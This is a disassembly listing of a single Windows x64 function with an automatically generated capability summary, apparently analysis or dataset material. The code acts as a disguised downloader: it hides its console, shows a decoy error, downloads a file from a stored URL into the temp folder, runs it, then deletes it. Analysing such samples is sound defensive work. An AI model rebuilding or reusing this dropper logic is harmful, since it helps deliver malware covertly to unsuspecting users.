Function at 0x140001645
Capabilities:
Create process on windows
Create thread
Delete file
Download url
Get common file path
Read file on windows
Receive data

Disassembly:
push rbp
push rdi
push rbx
mov eax, 0x13d0
call fcn.140003220
sub rsp, rax
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x1370], ecx
mov qword [rbp + 0x1378], rdx
call sym.__main
mov rax, qword [rbp + 0x1378]
mov rax, qword [rax]
lea rdx, str.r.exe
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x1338], rax
mov rax, qword [rbp + 0x1338]
mov r8d, 2
mov edx, 0
mov rcx, rax
call sym.fseek
mov rax, qword [rbp + 0x1338]
mov rcx, rax
call sym.ftell
mov dword [rbp + 0x1334], eax
mov eax, dword [rbp + 0x1334]
sub eax, 1
mov dword [rbp + 0x134c], eax
jmp 0x140001731
mov edx, dword [rbp + 0x134c]
mov rax, qword [rbp + 0x1338]
mov r8d, 0
mov rcx, rax
call sym.fseek
mov rdx, qword [rbp + 0x1338]
lea rax, [rbp + 0x730]
mov r9, rdx
mov r8d, 1
mov edx, 1
mov rcx, rax
call sym.fread
movzx eax, byte [rbp + 0x730]
cmp al, 0xa
jne 0x14000172a
mov eax, dword [rbp + 0x1334]
sub eax, 1
cmp dword [rbp + 0x134c], eax
jl 0x14000173c
sub dword [rbp + 0x134c], 1
cmp dword [rbp + 0x134c], 0
jns 0x1400016cf
jmp 0x14000173d
nop
mov eax, dword [rbp + 0x1334]
sub eax, 1
cmp dword [rbp + 0x134c], eax
jge 0x1400017c1
mov eax, dword [rbp + 0x134c]
lea edx, [rax + 1]
mov rax, qword [rbp + 0x1338]
mov r8d, 0
mov rcx, rax
call sym.fseek
mov rdx, qword [rbp + 0x1338]
lea rax, [rbp + 0x730]
mov r8, rdx
mov edx, 0x400
mov rcx, rax
call sym.fgets
lea rdx, [rbp + 0x730]
mov dword [rsp + 0x28], 0x400
lea rax, [rbp + 0xb30]
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
mov r8, rdx
mov edx, 0
mov ecx, 0xfde9
mov rax, qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
call rax
mov rax, qword [rbp + 0x1338]
mov rcx, rax
call sym.fclose
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [dbg.HideConsole]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [dbg.ShowErrorMessage]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
lea rax, [rbp + 0x520]
mov rdx, rax
mov ecx, 0x104
mov rax, qword [sym.imp.KERNEL32.dll_GetTempPathW]
call rax
test eax, eax
je 0x140001b2d
movabs rax, 0x64006300620061
movabs rdx, 0x68006700660065
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0x6c006b006a0069
movabs rdx, 0x70006f006e006d
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0x74007300720071
movabs rdx, 0x78007700760075
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0x420041007a0079
movabs rdx, 0x46004500440043
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0x4a004900480047
movabs rdx, 0x4e004d004c004b
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x5200510050004f
movabs rdx, 0x56005500540053
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0x5a005900580057
movabs rdx, 0x33003200310030
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x36003500340033
movabs rdx, 0x3900380037
mov qword [rbp + 0xae], rax
mov qword [rbp + 0xb6], rdx
mov qword [rbp + 0x1340], 0
jmp 0x14000199b
call sym.rand
movsxd rbx, eax
lea rax, [rbp + 0x40]
mov rcx, rax
call sym.wcslen
mov rdi, rax
mov rax, rbx
mov edx, 0
div rdi
mov rcx, rdx
mov rax, rcx
movzx edx, word [rbp + rax*2 + 0x40]
mov rax, qword [rbp + 0x1340]
mov word [rbp + rax*2 + 0x2f0], dx
add qword [rbp + 0x1340], 1
cmp qword [rbp + 0x1340], 7
jbe 0x140001957
mov word [rbp + 0x300], 0
lea rax, [rbp + 0x2f0]
lea rdx, [0x140005124]
mov rcx, rax
call sym.wcscat
lea rcx, [rbp + 0x2f0]
lea rdx, [rbp + 0x520]
lea rax, [rbp + 0x310]
mov r9, rcx
mov r8, rdx
lea rdx, str._s_s
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_wsprintfW]
call rax
mov rax, qword [section..data]
lea rdx, [rbp + 0x310]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rdx
mov rdx, rax
mov ecx, 0
call sym.URLDownloadToFileW
test eax, eax
js 0x140001b2d
lea rdx, [rbp - 0x30]
mov eax, 0
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp - 0x30], 0x68
mov dword [rbp + 0xc], 1
mov word [rbp + 0x10], 0
lea rcx, [rbp + 0xb30]
lea rdx, [rbp + 0x310]
lea rax, [rbp + 0xc0]
mov r9, rcx
mov r8, rdx
lea rdx, str.__s___s
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_wsprintfW]
call rax
lea rax, [rbp + 0xc0]
lea rdx, [rbp + 0x2d0]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessW]
call rax
test eax, eax
je 0x140001b2d
mov rax, qword [rbp + 0x2d0]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x2d0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x2d8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, [rbp + 0x310]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileW]
call rax
mov eax, 0
add rsp, 0x13d0
pop rbx
pop rdi
pop rbp
ret